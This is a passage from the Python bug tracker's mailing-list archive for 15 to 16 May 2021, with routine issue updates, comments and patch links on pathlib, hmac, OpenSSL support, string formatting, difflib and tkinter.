raising tokenizer errors when an existing exception is set In-Reply-To: <1621096211.06.0.0593507223604.issue44143@roundup.psfhosted.org> Message-ID: <1621100442.71.0.0306803358496.issue44143@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 13:55:09 2021 From: report at bugs.python.org (Raymond Hettinger) Date: Sat, 15 May 2021 17:55:09 +0000 Subject: [issue44136] Remove pathlib flavours In-Reply-To: <1621016938.4.0.46024543706.issue44136@roundup.psfhosted.org> Message-ID: <1621101309.58.0.625315240614.issue44136@roundup.psfhosted.org> Change by Raymond Hettinger : ---------- assignee: -> pitrou nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 15:07:06 2021 From: report at bugs.python.org (Chinmay Malvania) Date: Sat, 15 May 2021 19:07:06 +0000 Subject: [issue44144] Python window not opening Message-ID: <1621105626.13.0.193498807552.issue44144@roundup.psfhosted.org> New submission from Chinmay Malvania : Python shell's window not opening and even if it is, it glitches. ---------- components: Unicode messages: 393723 nosy: chinmay.malvania, ezio.melotti, vstinner priority: normal severity: normal status: open title: Python window not opening versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 15:09:35 2021 From: report at bugs.python.org (Chinmay Malvania) Date: Sat, 15 May 2021 19:09:35 +0000 Subject: [issue44144] Python window not opening In-Reply-To: <1621105626.13.0.193498807552.issue44144@roundup.psfhosted.org> Message-ID: <1621105775.28.0.464638259665.issue44144@roundup.psfhosted.org> Change by Chinmay Malvania : ---------- assignee: -> christian.heimes components: +SSL -Unicode nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 15:21:10 2021 From: report at bugs.python.org (Christian Heimes) Date: Sat, 15 May 2021 19:21:10 +0000 Subject: [issue44144] Python window not opening In-Reply-To: <1621105626.13.0.193498807552.issue44144@roundup.psfhosted.org> Message-ID: <1621106470.9.0.821952755727.issue44144@roundup.psfhosted.org> Change by Christian Heimes : ---------- nosy: -christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 15:23:47 2021 From: report at bugs.python.org (Tal Einat) Date: Sat, 15 May 2021 19:23:47 +0000 Subject: [issue44123] make function parameter sentinel value true singletons In-Reply-To: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org> Message-ID: <1621106627.42.0.852142205975.issue44123@roundup.psfhosted.org> Tal Einat added the comment: > And what you need is just to not pass to the wrapped function arguments which were not passed to wrapper. *args and **kwargs do not contain arguments which were not passed. It's common for wrapper functions to mirror the defaults of the wrapped functions and pass those along... A quick search brings up an example from dataclasses where sentinel values are passed as arguments to a wrapped callable[1]. I concede that issues with pickling such values are very unlikely. I stumbled upon such an issue once and it was difficult to debug, but that was a very unusual circumstance. Still, it's a bit surprising that we have public facing values in stdlib modules which don't behave as one would expect with regard to pickling. This is why I created this It seems that I should have marked this as "enhancement" rather than the default of "behavior", though, since I meant this to be an improvement on the current situation, rather then assert the current situation is "broken". [1] https://github.com/python/cpython/blob/c10c2ec7a0e06975e8010c56c9c3270f8ea322ec/Lib/dataclasses.py#L346 ---------- type: behavior -> enhancement versions: -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 15:28:41 2021 From: report at bugs.python.org (Dennis Sweeney) Date: Sat, 15 May 2021 19:28:41 +0000 Subject: [issue44144] Python window not opening In-Reply-To: <1621105626.13.0.193498807552.issue44144@roundup.psfhosted.org> Message-ID: <1621106921.78.0.244378850711.issue44144@roundup.psfhosted.org> Dennis Sweeney added the comment: How are you trying to start the shell? Does "shell window" mean IDLE? What operating system are you using? What do you mean by "it glitches"? ---------- nosy: +Dennis Sweeney _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 15:32:35 2021 From: report at bugs.python.org (Ben Darnell) Date: Sat, 15 May 2021 19:32:35 +0000 Subject: [issue37373] Configuration of windows event loop for libraries In-Reply-To: <1561228405.39.0.674272094682.issue37373@roundup.psfhosted.org> Message-ID: <1621107155.22.0.307254554033.issue37373@roundup.psfhosted.org> Ben Darnell added the comment: > It's even slightly easier for tornado, which can reasonably set the proactor-wrapper policy at IOLoop start time, which means `asyncio.get_event_loop()` returns a loop with add_reader. But pyzmq doesn't get invoked until an event loop is already running. That's not what I'm doing in Tornado; I don't change the policy or the result of get_event_loop. Instead, I call get_event_loop (only once) and wrap its result in AddThreadSelectorEventLoop. This works even while the event loop is already running (which is not an uncommon case; there is no expectation that you use tornado.ioloop.IOLoop.start instead of asyncio.EventLoop.run_forever). This relies on the fact that I already have my own thread-local lookup function to retrieve the wrapped event loop; an application that used the more typical asyncio patterns and relied on get_event_loop would indeed have difficulty with this pattern. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 16:01:41 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Sat, 15 May 2021 20:01:41 +0000 Subject: [issue10513] sqlite3.InterfaceError after commit In-Reply-To: <1290515734.43.0.643837241692.issue10513@psf.upfronthosting.co.za> Message-ID: <1621108901.32.0.161044708001.issue10513@roundup.psfhosted.org> Erlend E. Aasland added the comment: Closing as fixed. If someone disagrees; please re-open. ---------- resolution: -> fixed status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 16:25:42 2021 From: report at bugs.python.org (Alexey Namyotkin) Date: Sat, 15 May 2021 20:25:42 +0000 Subject: [issue24964] Add tunnel CONNECT response headers to httplib / http.client In-Reply-To: <1440956510.2.0.613573748355.issue24964@psf.upfronthosting.co.za> Message-ID: <1621110342.78.0.150519057448.issue24964@roundup.psfhosted.org> Change by Alexey Namyotkin : ---------- pull_requests: +24786 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26152 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 16:26:39 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 15 May 2021 20:26:39 +0000 Subject: [issue13498] os.makedirs exist_ok documentation is incorrect, as is some of the behavior In-Reply-To: <1322574123.12.0.756700598965.issue13498@psf.upfronthosting.co.za> Message-ID: <1621110399.28.0.0828118101687.issue13498@roundup.psfhosted.org> Terry J. Reedy added the comment: This issue was really two issues: fix doc of existing behavior; change behavior (which would be an enhancement). The first has been done; the second not. I think this should be closed and if anyone still proposes the second, open a new enhancement issue for 3.11, referencing this one, that clearly lays out the proposed change and rationale, given the 3.10 status quo. (I have no opinion about the proposed change.) Once someone submits a patch, we are free to change it before or after applying it. But before, we give the author first crack and wait a week or so for an answer. Hynek, do you still propose the change in your second patch? If so, do you want to update it and make a PR? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 16:55:28 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 15 May 2021 20:55:28 +0000 Subject: [issue24964] Add tunnel CONNECT response headers to httplib / http.client In-Reply-To: <1440956510.2.0.613573748355.issue24964@psf.upfronthosting.co.za> Message-ID: <1621112128.51.0.826529631509.issue24964@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- versions: +Python 3.11 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 16:55:18 2021 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 15 May 2021 20:55:18 +0000 Subject: [issue24964] Add tunnel CONNECT response headers to httplib / http.client In-Reply-To: <1440956510.2.0.613573748355.issue24964@psf.upfronthosting.co.za> Message-ID: <1621112118.26.0.855346799677.issue24964@roundup.psfhosted.org> Terry J. Reedy added the comment: Alexey, to repeat what I said to Thomas above: please sign a contributor agreement for your patches to be considered. https://www.python.org/psf/contrib/ https://www.python.org/psf/contrib/contrib-form/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 17:19:25 2021 From: report at bugs.python.org (Alexey Namyotkin) Date: Sat, 15 May 2021 21:19:25 +0000 Subject: [issue24964] Add tunnel CONNECT response headers to httplib / http.client In-Reply-To: <1440956510.2.0.613573748355.issue24964@psf.upfronthosting.co.za> Message-ID: <1621113565.07.0.692721818822.issue24964@roundup.psfhosted.org> Alexey Namyotkin added the comment: Thanks, Terry. I signed it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 18:09:49 2021 From: report at bugs.python.org (Barney Gale) Date: Sat, 15 May 2021 22:09:49 +0000 Subject: [issue29688] Add support for Path.absolute() In-Reply-To: <1488389848.79.0.700814097868.issue29688@psf.upfronthosting.co.za> Message-ID: <1621116589.31.0.62029277688.issue29688@roundup.psfhosted.org> Change by Barney Gale : ---------- keywords: +patch nosy: +barneygale nosy_count: 8.0 -> 9.0 pull_requests: +24787 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26153 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 18:19:51 2021 From: report at bugs.python.org (Andrei Kulakov) Date: Sat, 15 May 2021 22:19:51 +0000 Subject: [issue43905] dataclasses.astuple does deepcopy on all fields In-Reply-To: <1619007557.11.0.871267775065.issue43905@roundup.psfhosted.org> Message-ID: <1621117191.07.0.432268435238.issue43905@roundup.psfhosted.org> Change by Andrei Kulakov : ---------- keywords: +patch nosy: +andrei.avk nosy_count: 3.0 -> 4.0 pull_requests: +24788 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26154 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 18:19:38 2021 From: report at bugs.python.org (Barney Gale) Date: Sat, 15 May 2021 22:19:38 +0000 Subject: [issue29688] Add support for Path.absolute() In-Reply-To: <1488389848.79.0.700814097868.issue29688@psf.upfronthosting.co.za> Message-ID: <1621117178.47.0.325972540017.issue29688@roundup.psfhosted.org> Barney Gale added the comment: New PR up here: https://github.com/python/cpython/pull/26153 The correspondence between `pathlib` and `os.path` is as follows: - `Path.resolve()` is roughly `os.path.realpath()` - `Path.absolute()` is roughly `os.path.abspath()` Differences: - `resolve()` always raises RuntimeError on symlink loops, whereas `realpath()` either raises OSError or nothing depending on *strict*. - `absolute()` doesn't normalize the path, whereas `abspath()` does. Normalizing without resolving symlinks can change the meaning of the path, so pathlib does the better thing here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 18:25:08 2021 From: report at bugs.python.org (Barney Gale) Date: Sat, 15 May 2021 22:25:08 +0000 Subject: [issue39950] Add pathlib.Path.hardlink_to() In-Reply-To: <1584060605.38.0.95953512485.issue39950@roundup.psfhosted.org> Message-ID: <1621117508.99.0.541734885048.issue39950@roundup.psfhosted.org> Change by Barney Gale : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 18:25:48 2021 From: report at bugs.python.org (Barney Gale) Date: Sat, 15 May 2021 22:25:48 +0000 Subject: [issue39924] pathlib handles missing `os.link`, `os.symlink` and `os.readlink` inconsistently In-Reply-To: <1583874767.79.0.0714252611287.issue39924@roundup.psfhosted.org> Message-ID: <1621117548.18.0.347567158771.issue39924@roundup.psfhosted.org> Change by Barney Gale : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 18:27:29 2021 From: report at bugs.python.org (Barney Gale) Date: Sat, 15 May 2021 22:27:29 +0000 Subject: [issue39950] Add pathlib.Path.hardlink_to() In-Reply-To: <1584060605.38.0.95953512485.issue39950@roundup.psfhosted.org> Message-ID: <1621117649.84.0.739216530671.issue39950@roundup.psfhosted.org> Change by Barney Gale : ---------- resolution: fixed -> status: closed -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 18:32:47 2021 From: report at bugs.python.org (Barney Gale) Date: Sat, 15 May 2021 22:32:47 +0000 Subject: [issue39950] Add pathlib.Path.hardlink_to() In-Reply-To: <1584060605.38.0.95953512485.issue39950@roundup.psfhosted.org> Message-ID: <1621117967.34.0.177913968566.issue39950@roundup.psfhosted.org> Change by Barney Gale : ---------- pull_requests: +24789 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/26155 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 18:42:04 2021 From: report at bugs.python.org (Chinmay Malvania) Date: Sat, 15 May 2021 22:42:04 +0000 Subject: [issue44144] Python window not opening In-Reply-To: <1621106921.78.0.244378850711.issue44144@roundup.psfhosted.org> Message-ID: Chinmay Malvania added the comment: Never mind I just had to restart my PC On Sat, May 15, 2021 at 3:28 PM Dennis Sweeney wrote: > > Dennis Sweeney added the comment: > > How are you trying to start the shell? Does "shell window" mean IDLE? What > operating system are you using? What do you mean by "it glitches"? > > ---------- > nosy: +Dennis Sweeney > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 15 19:26:57 2021 From: report at bugs.python.org (Batuhan Taskaya) Date: Sat, 15 May 2021 23:26:57 +0000 Subject: [issue44142] ast.unparse: visually better code generation In-Reply-To: <1621085386.98.0.631480051467.issue44142@roundup.psfhosted.org> Message-ID: <1621121217.69.0.183086438923.issue44142@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- keywords: +patch pull_requests: +24790 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26156 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 02:54:04 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 16 May 2021 06:54:04 +0000 Subject: [issue44145] hmac.update is not releasing the GIL when openssl's hmac is used Message-ID: <1621148044.4.0.215662666673.issue44145@roundup.psfhosted.org> New submission from Gregory P. Smith : This prevents parallel hmac computations. see michaelforney's comment left on https://github.com/python/cpython/pull/20129 where the problem was introduced when adding support for using OpenSSL's HMAC implementations. easy fix. PR coming. We don't really have a way to unittest for regressions on things like this. ---------- assignee: gregory.p.smith components: Extension Modules keywords: 3.9regression messages: 393733 nosy: christian.heimes, gregory.p.smith priority: normal severity: normal stage: needs patch status: open title: hmac.update is not releasing the GIL when openssl's hmac is used type: performance versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 03:03:46 2021 From: report at bugs.python.org (Gregory P. Smith) Date: Sun, 16 May 2021 07:03:46 +0000 Subject: [issue44145] hmac.update is not releasing the GIL when openssl's hmac is used In-Reply-To: <1621148044.4.0.215662666673.issue44145@roundup.psfhosted.org> Message-ID: <1621148626.81.0.864117791794.issue44145@roundup.psfhosted.org> Change by Gregory P. Smith : ---------- keywords: +patch pull_requests: +24791 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26157 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 03:15:39 2021 From: report at bugs.python.org (miss-islington) Date: Sun, 16 May 2021 07:15:39 +0000 Subject: [issue39950] Add pathlib.Path.hardlink_to() In-Reply-To: <1584060605.38.0.95953512485.issue39950@roundup.psfhosted.org> Message-ID: <1621149339.32.0.743272720052.issue39950@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +24792 pull_request: https://github.com/python/cpython/pull/26158 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 05:23:27 2021 From: report at bugs.python.org (Christian Heimes) Date: Sun, 16 May 2021 09:23:27 +0000 Subject: [issue44141] Getting error while importing ssl "import _ssl ImportError: DLL load failed: The specified procedure could not be found." In-Reply-To: <1621075143.47.0.586149387116.issue44141@roundup.psfhosted.org> Message-ID: <1621157007.22.0.491916869685.issue44141@roundup.psfhosted.org> Christian Heimes added the comment: Python 3.7 is in security fix-only mode and will not get support for OpenSSL 3.0.0. Only Python 3.8, 3.9, 3.10 beta, and main branch contain OpenSSL 3.0.0 compatibility patches. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 05:26:18 2021 From: report at bugs.python.org (Ken Jin) Date: Sun, 16 May 2021 09:26:18 +0000 Subject: [issue26110] Speedup method calls 1.2x In-Reply-To: <1452791347.05.0.923215900831.issue26110@psf.upfronthosting.co.za> Message-ID: <1621157178.31.0.137560239154.issue26110@roundup.psfhosted.org> Change by Ken Jin : ---------- pull_requests: +24793 pull_request: https://github.com/python/cpython/pull/26159 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 05:32:23 2021 From: report at bugs.python.org (svs) Date: Sun, 16 May 2021 09:32:23 +0000 Subject: [issue44146] Format string fill not handling brace char Message-ID: <1621157543.56.0.155922835812.issue44146@roundup.psfhosted.org> New submission from svs : Format strings and f-strings don't seem to handle brace characters as a fill character. E.g. '{::>10d'.format(5) => ':::::::::5" (as expected) '{:{>10d'.format(5) => error. Expect: '{{{{{{{{{5" trying {{ escape does not work either. '{:{{>10d'.format(5) => error. The same goes for '}'. f-strings have a similar issue. ---------- components: Interpreter Core messages: 393735 nosy: snegavs priority: normal severity: normal status: open title: Format string fill not handling brace char type: behavior versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 05:35:29 2021 From: report at bugs.python.org (Tarnum) Date: Sun, 16 May 2021 09:35:29 +0000 Subject: [issue44141] Getting error while importing ssl "import _ssl ImportError: DLL load failed: The specified procedure could not be found." In-Reply-To: <1621075143.47.0.586149387116.issue44141@roundup.psfhosted.org> Message-ID: <1621157729.26.0.874440787487.issue44141@roundup.psfhosted.org> Tarnum added the comment: Got it but this is a sad news for me... ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 05:56:28 2021 From: report at bugs.python.org (Christian Heimes) Date: Sun, 16 May 2021 09:56:28 +0000 Subject: [issue44141] Getting error while importing ssl "import _ssl ImportError: DLL load failed: The specified procedure could not be found." In-Reply-To: <1621075143.47.0.586149387116.issue44141@roundup.psfhosted.org> Message-ID: <1621158988.93.0.688616366339.issue44141@roundup.psfhosted.org> Christian Heimes added the comment: OpenSSL 3.0.0 is in alpha phase, which means it is unstable, experimental, and not designed for end-users or production use. I recommend that you stick to OpenSSL 1.1.1. It will be supported until September 2023. ---------- resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 06:27:53 2021 From: report at bugs.python.org (rogdham) Date: Sun, 16 May 2021 10:27:53 +0000 Subject: [issue44134] lzma: stream padding in xz files In-Reply-To: <1621014722.86.0.839640060704.issue44134@roundup.psfhosted.org> Message-ID: <1621160873.16.0.226135117939.issue44134@roundup.psfhosted.org> rogdham added the comment: It must be decided what to do in the following cases, which are not valid per the XZ file specification, but supported by the lzma module (and tested): 1. different format concatenated together (e.g. a .xz and a .lzma); this somehow includes tailing null bytes (12 null bytes is a valid .lzma) 2. trailing junk (i.e. non-null bytes after the stream) The answer may be different depending on the format arg (e.g. FORMAT_AUTO vs FORMAT_XZ). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 07:15:00 2021 From: report at bugs.python.org (Bassel) Date: Sun, 16 May 2021 11:15:00 +0000 Subject: [issue44147] [WinError 193] %1 is not a valid Win32 application Message-ID: <1621163700.55.0.343536154291.issue44147@roundup.psfhosted.org> New submission from Bassel : I'm trying to import these libraries in python using this code: import matplotlib as plt from matplotlib import style import pandas as pd import pandas_datareader.data as web I get unresolved import for each line. I installed them using the terminal of Visual Studio using the following commands pip install matplotlib pip install pandas pip install numpy pip install sklearn pip install pandas-datareader pip install beautifulsoup4 What should I do to solve this problem? Please consider that I'm kind of a beginner so make your answer detailed. Thanks! ---------- components: Windows messages: 393739 nosy: bassel27, paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal status: open title: [WinError 193] %1 is not a valid Win32 application versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 07:30:17 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 16 May 2021 11:30:17 +0000 Subject: [issue28307] Accelerate 'string' % (value, ...) by using formatted string literals In-Reply-To: <1475138996.48.0.897803092987.issue28307@psf.upfronthosting.co.za> Message-ID: <1621164617.46.0.761796022669.issue28307@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- pull_requests: +24794 pull_request: https://github.com/python/cpython/pull/26160 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 07:31:21 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 16 May 2021 11:31:21 +0000 Subject: [issue28307] Accelerate 'string' % (value, ...) by using formatted string literals In-Reply-To: <1475138996.48.0.897803092987.issue28307@psf.upfronthosting.co.za> Message-ID: <1621164681.21.0.786050145904.issue28307@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- nosy: +Mark.Shannon versions: +Python 3.11 -Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 07:50:56 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 16 May 2021 11:50:56 +0000 Subject: [issue28307] Accelerate 'string' % (value, ...) by using formatted string literals In-Reply-To: <1475138996.48.0.897803092987.issue28307@psf.upfronthosting.co.za> Message-ID: <1621165856.84.0.656841359056.issue28307@roundup.psfhosted.org> Serhiy Storchaka added the comment: PR 26160 adds support of %d, %i, %u, %o, %x, %X, %f, %e, %g, %F, %E, %G. What is not supported: * Formatting with a single value not wrapped into a 1-tuple (like in "%d bytes" % size). The behavior is non-trivial, it needs checking whether the value is a tuple or a mapping. It would require adding more opcodes and AST nodes and generating complex bytecode. * Mapping keys (like in "%(name)s"). They are rarely used, and if used, it is not performance critical. * Precision for integer formatting. Precision is not supported in new-style formatting of integers, and it is not trivial to reproduce this behavior. * Variable width and precision (like in "%*.*s"). It is possible to support them, but the code would be pretty complex, and the benefit is small, because this feature is rarely used and is not performance critical. * Format code %c. It is relatively rarely used. * Length modifiers "h", "l" and "L" (like in "%ld"). They ignored in Python and I did not see them in real code. While supporting them is easy, it would requires adding more than one line of code, it is not worth it. ---------- priority: low -> normal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 08:34:07 2021 From: report at bugs.python.org (Ken Jin) Date: Sun, 16 May 2021 12:34:07 +0000 Subject: [issue42834] [subinterpreters] Make static caches in various places subinterpreter compatible In-Reply-To: <1609862045.06.0.177130417143.issue42834@roundup.psfhosted.org> Message-ID: <1621168447.88.0.356902151936.issue42834@roundup.psfhosted.org> Ken Jin added the comment: Hi Victor, I'm re-using this issue as I'm doing a similar change to compile.c. I hope you're alright with that. ---------- resolution: fixed -> status: closed -> open title: [subinterpreters] Convert "global" static variable caches in _json to heap variables -> [subinterpreters] Make static caches in various places subinterpreter compatible versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 08:35:42 2021 From: report at bugs.python.org (Ken Jin) Date: Sun, 16 May 2021 12:35:42 +0000 Subject: [issue42834] [subinterpreters] Make static caches in various places subinterpreter compatible In-Reply-To: <1609862045.06.0.177130417143.issue42834@roundup.psfhosted.org> Message-ID: <1621168542.82.0.762924911623.issue42834@roundup.psfhosted.org> Change by Ken Jin : ---------- pull_requests: +24795 stage: resolved -> patch review pull_request: https://github.com/python/cpython/pull/26161 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 08:57:06 2021 From: report at bugs.python.org (Tal Einat) Date: Sun, 16 May 2021 12:57:06 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621169826.02.0.801771045368.issue40452@roundup.psfhosted.org> Tal Einat added the comment: Okay, so it appears that a generic solution for tkinter is non-trivial, as it is not clear when to call Tcl_Finalize() or Tcl_FinalizeThread(). However, giving tkinter apps the ability to call those when appropriate is possible. Exposing a thin wrapper around Tcl_Finalize in _tkinter, and making IDLE call that when exiting, resolves the clipboard preservation issue. For some reason, calling Tcl_Finalize causes a memory segmentation issue for me on Ubuntu 20.04. However, calling Tcl_FinalizeThread also resolves the clipboard issue without causing problems. On Windows 10, calling either function works. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 09:26:09 2021 From: report at bugs.python.org (Tal Einat) Date: Sun, 16 May 2021 13:26:09 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621171569.88.0.224830946101.issue40452@roundup.psfhosted.org> Change by Tal Einat : ---------- pull_requests: +24796 stage: needs patch -> patch review pull_request: https://github.com/python/cpython/pull/26163 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 09:26:35 2021 From: report at bugs.python.org (Tal Einat) Date: Sun, 16 May 2021 13:26:35 +0000 Subject: [issue40452] Tkinter/IDLE: preserve clipboard on closure In-Reply-To: <1588268147.56.0.852233274654.issue40452@roundup.psfhosted.org> Message-ID: <1621171595.48.0.870621052014.issue40452@roundup.psfhosted.org> Tal Einat added the comment: See PR GH-26163. ---------- stage: patch review -> needs patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 10:34:47 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 16 May 2021 14:34:47 +0000 Subject: [issue44114] Incorrect function signatures in dictobject.c In-Reply-To: <1620823561.64.0.419692119769.issue44114@roundup.psfhosted.org> Message-ID: <1621175687.27.0.984873704855.issue44114@roundup.psfhosted.org> Serhiy Storchaka added the comment: New changeset 925cb85e9e28d69be53db669527c0a1292f0fbfb by Miss Islington (bot) in branch '3.9': bpo-44114: Fix dictkeys_reversed and dictvalues_reversed function signatures (GH-26062) (GH-26093) https://github.com/python/cpython/commit/925cb85e9e28d69be53db669527c0a1292f0fbfb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 11:34:49 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 16 May 2021 15:34:49 +0000 Subject: [issue44148] Raise a RuntimeError if frame is NULL in PyEval_GetGlobals Message-ID: <1621179289.64.0.106225971367.issue44148@roundup.psfhosted.org> New submission from Shreyan Avigyan : Currently, PyEval_GetGlobals just returns NULL if frame is NULL while PyEval_GetLocals raises a runtime error and then returns NULL if frame is NULL. Raising a RuntimeError and then returning NULL from PyEval_GetGlobals if frame is NULL would be a better idea. ---------- components: C API messages: 393745 nosy: shreyanavigyan priority: normal severity: normal status: open title: Raise a RuntimeError if frame is NULL in PyEval_GetGlobals versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 11:37:45 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 16 May 2021 15:37:45 +0000 Subject: [issue44148] Raise a SystemError if frame is NULL in PyEval_GetGlobals In-Reply-To: <1621179289.64.0.106225971367.issue44148@roundup.psfhosted.org> Message-ID: <1621179465.08.0.763386430972.issue44148@roundup.psfhosted.org> Shreyan Avigyan added the comment: Sorry, it's SystemError not RuntimeError ---------- title: Raise a RuntimeError if frame is NULL in PyEval_GetGlobals -> Raise a SystemError if frame is NULL in PyEval_GetGlobals _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 11:45:18 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 16 May 2021 15:45:18 +0000 Subject: [issue44148] Raise a SystemError if frame is NULL in PyEval_GetGlobals In-Reply-To: <1621179289.64.0.106225971367.issue44148@roundup.psfhosted.org> Message-ID: <1621179918.95.0.120922082809.issue44148@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- keywords: +patch pull_requests: +24797 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26166 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 12:14:00 2021 From: report at bugs.python.org (Mustafa Quraish) Date: Sun, 16 May 2021 16:14:00 +0000 Subject: [issue44149] difflib.get_close_matches: Add `key` argument Message-ID: <1621181640.96.0.125589891054.issue44149@roundup.psfhosted.org> New submission from Mustafa Quraish : Add a `key` argument to difflib.get_close_matches(), so that it is possible to say find the closest objects where an attribute matches the given string. ---------- components: Library (Lib) messages: 393747 nosy: mustafaquraish priority: normal severity: normal status: open title: difflib.get_close_matches: Add `key` argument type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 12:15:06 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Sun, 16 May 2021 16:15:06 +0000 Subject: [issue44148] Raise a SystemError if frame is NULL in PyEval_GetGlobals In-Reply-To: <1621179289.64.0.106225971367.issue44148@roundup.psfhosted.org> Message-ID: <1621181706.37.0.989859193045.issue44148@roundup.psfhosted.org> Shreyan Avigyan added the comment: I don't know much about ceval.c functions, so is there a reason PyEval_GetGlobals doesn't raise an error? I'm sorry for creating noise about it if the current behavior is intended. I'll close the issue and the PR then. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 12:23:57 2021 From: report at bugs.python.org (Roundup Robot) Date: Sun, 16 May 2021 16:23:57 +0000 Subject: [issue44149] difflib.get_close_matches: Add `key` argument In-Reply-To: <1621181640.96.0.125589891054.issue44149@roundup.psfhosted.org> Message-ID: <1621182237.29.0.960561301497.issue44149@roundup.psfhosted.org> Change by Roundup Robot : ---------- keywords: +patch nosy: +python-dev nosy_count: 1.0 -> 2.0 pull_requests: +24798 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26170 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 16 13:08:33 2021 From: report at bugs.python.org (Christian Heimes) Date: Sun, 16 May 2021 17:08:33 +0000 Subject: [issue44144] Python window not opening In-Reply-To: <1621105626.13.0.193498807552.issue44144@roundup.psfhosted.org> Message-ID: <1621184913.13.0.372885671291.issue44144@roundup.psfhosted.org> Change by Christian Heimes : ---------- resolution: -> not a bug stage: -> resolved status: open -> closed 